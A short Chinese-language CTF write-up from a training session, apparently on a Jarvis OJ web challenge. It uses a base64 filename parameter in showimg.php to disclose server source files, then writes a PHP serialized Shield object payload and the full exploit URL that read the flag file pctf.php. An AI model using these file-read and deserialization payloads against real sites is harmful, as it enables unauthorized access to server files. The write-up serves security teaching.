开学前组织的培训。

题一

打开题目网址后,发现是一张图片,查看网页源代码

view-source:http://web.jarvisoj.com:32768/

源代码:

<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

发现img的值是base64编码的

来到base64编解码的网站解码

https://www.qqxiuzi.cn/bianma/base64.htm

发现解码后为shield.jpg

所以将index.php用base64编码,得到aW5kZXgucGhw,构造首页的网址

web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw

加上前缀view-source:,查看网页源代码

img

发现文件包含shield.php,同样将其base64加密,得到c2hpZWxkLnBocA==,构造网址

http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==

同样加上view-source:的前缀

img

观察可以发现,Shield.php作用是读取文件

至此,可以分析思路,在index.php中通过get传值,获取$class的值,并将其赋给$g,然后调用shield.php中的readfile()方法,读取文件内容并输出。

所以我们可以构造序列化的Shield对象,$file的值为pctf.php,源代码为:

<?php
    //flag is in pctf.php
    class Shield {
        public $file = "pctf.php";
    }
    $a = new Shield();
    echo serialize($a);
?>

序列化的字符串为

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

构造传值url

view-source:web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

img

拿到flag

Last modification:September 9th, 2020 at 03:09 pm